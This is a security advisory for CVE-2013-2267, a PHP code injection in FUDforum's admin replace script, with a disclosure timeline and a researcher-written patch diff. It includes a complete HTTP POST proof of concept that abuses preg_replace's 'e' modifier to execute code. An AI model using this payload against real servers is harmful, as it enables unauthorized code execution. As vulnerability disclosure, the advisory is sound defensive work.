Vendor Statistics
High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters

Patch Available Upon Disclosure

2014 Q1 87%2013 Q2 92%
2013 Q4 67%2013 Q1 100%
2013 Q3 77%2012 Q4 68%

Vendor Average Time to Patch

2014 Q1 5 days 2013 Q2 30 days
2013 Q4 8 days 2013 Q1 13 days
2013 Q3 13 days 2012 Q4 26 days

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

PHP Code Injection in FUDforum

Advisory ID:HTB23146
Vulnerable Versions:3.0.4 and probably prior
Tested Version:3.0.4
Advisory Publication:February 21, 2013 [without technical details]
Vendor Notification:February 21, 2013
Vendor Fix:March 11, 2013
Public Disclosure:April 3, 2013
Latest Update:April 15, 2013
Vulnerability Type:Code Injection [CWE-94]
CVE Reference:CVE-2013-2267
Risk Level:High
CVSSv2 Base Score:7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in FUDforum, which can be exploited to execute arbitrary PHP code on the target system.

1) PHP Code Injection in FUDforum: CVE-2013-2267

The vulnerability exists due to insufficient validation of HTTP POST parameters "regex_str", "regex_str_opt" and "regex_with" in "/adm/admreplace.php" script before using them in the "preg_replace()" function. A remote administrator can send a specially crafted HTTP POST request, inject and execute arbitrary PHP code on the target system with privileges of the web server.

The following PoC (Proof of Concept) code executes the "phpinfo()" function:

POST /adm/admreplace.php HTTP/1.1
Host: fudforum
Referer: http://fudforum/adm/admreplace.php?&SQ=8928823a5edf50cc642792c2fa4d8863
Cookie: fud_session_1361275607=11703687e05757acb08bb3891f5b2f8d
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

SQ=8928823a5edf50cc642792c2fa4d8863&rpl_replace_opt=0&btn_submit=Add&btn_regex=1&edit=&regex_ str=(.*)&regex_str_opt=e&regex_with=phpinfo()

Successful exploitation of the vulnerability requires administrative privileges within the application.

Install official vendor patch:

Official Vendor patch is available here:

However, the above-mentioned patch does not entirely fix the vulnerability, which can still be exploited by other exploitation techniques (such as NULL-byte and others).

High-Tech Bridge Security Research Lab developed the following patch to eliminate the vulnerability:

--- admreplace.php.old Mon Mar 04 15:46:02 2013
+++ admreplace.php Tue Mar 26 02:51:59 2013
@@ -18,9 +18,7 @@

if (!$_POST['rpl_replace_opt']) {
- if ($_POST['rpl_preg_opt'] == 'e') { // Prevent code
- $_POST['rpl_preg_opt'] = 'i';
- }
+ if(false !== strpos($_POST['rpl_preg_opt'],'e')) {
$_POST['rpl_preg_opt'] = 'i'; }
$_POST['rpl_replace_str'] = '/'. $_POST['rpl_replace_str']
.'/'. $_POST['rpl_preg_opt'];
$_POST['rpl_from_post'] = '/'. $_POST['rpl_from_post'] .'/'.
} else {
@@ -184,7 +182,7 @@
if ($regex_str_opt == 'e') {
$str = 'Code injection is not allowed!';
} else {
- $str = preg_replace('/'. $regex_str .'/'. $regex_str_opt,
$regex_with, $regex_src);
+ $str = preg_replace('/'. preg_quote($regex_str) .'/'.
$regex_str_opt, $regex_with, $regex_src);

Disclosure Timeline:
2013-02-21: Vendor notification.
2013-02-28: Secondary Vendor notification.
2013-03-03: Vendor patch.
2013-03-04: Vendor notification about patch bypasses.
2013-03-26: Vendor received our patch that eliminates the vulnerability.
2013-04-02: Still no modification of the official patch from the Vendor.
2013-04-03: Public Disclosure [Disclosure Policy].
2013-04-14: Vendor provided final patch.

ImmuniWeb® by High-Tech Bridge

[1] High-Tech Bridge Advisory HTB23146 - - PHP Code Injection in FUDforum.
[2] FUDforum - - FUDforum (Fast Uncompromising Discussion Forum) is a free and open source web discussion forum released under the GPL (version 2) license that is written in PHP and can be used on virtually any operating system.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.